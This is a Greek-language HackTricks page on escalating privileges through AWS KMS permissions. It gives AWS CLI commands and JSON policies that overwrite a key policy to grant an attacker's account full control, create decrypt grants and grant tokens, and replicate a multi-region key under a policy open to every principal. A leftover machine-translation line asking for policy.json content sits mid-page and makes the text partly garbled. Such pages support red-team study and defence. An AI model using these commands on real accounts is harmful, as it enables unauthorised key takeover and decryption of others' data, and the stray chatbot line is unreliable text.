AWS - KMS Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

KMS

Για περισσότερες πληροφορίες σχετικά με το KMS δείτε:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Με αυτά τα δικαιώματα είναι δυνατόν να τροποποιήσετε τα δικαιώματα πρόσβασης στο κλειδί ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

Μπορείς να επικολλήσεις το περιεχόμενο του policy.json ή το τμήμα του README.md που θέλεις να μεταφράσω; Χρειάζομαι το κείμενο για να το μεταφράσω και θα διατηρήσω τη μορφοποίηση Markdown/HTML.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Αυτό επιτρέπει σε έναν principal να χρησιμοποιήσει ένα KMS key:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Warning

Ένα grant μπορεί να επιτρέψει μόνο συγκεκριμένους τύπους λειτουργιών: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Warning

Σημειώστε ότι μπορεί να χρειαστούν μερικά λεπτά για το KMS ώστε να επιτρέψει στον χρήστη να χρησιμοποιήσει το κλειδί μετά τη δημιουργία του grant. Μόλις περάσει αυτός ο χρόνος, ο principal μπορεί να χρησιμοποιήσει το KMS key χωρίς να χρειάζεται να καθορίσει τίποτα.
Ωστόσο, αν χρειάζεται να χρησιμοποιήσετε το grant αμέσως use a grant token (ελέγξτε τον παρακάτω κώδικα).
Για more info read this.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Σημειώστε ότι μπορείτε να απαριθμήσετε grants των keys με:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Με αυτά τα δικαιώματα, είναι δυνατό να αναπαραχθεί ένα multi-region enabled KMS key σε άλλη περιοχή με διαφορετική πολιτική.

Έτσι, ένας attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει privesc πρόσβαση στο key και να το χρησιμοποιήσει

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Αυτή η άδεια επιτρέπει τη χρήση ενός key για την αποκρυπτογράφηση ορισμένων πληροφοριών.
Για περισσότερες πληροφορίες, δείτε:

AWS - KMS Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks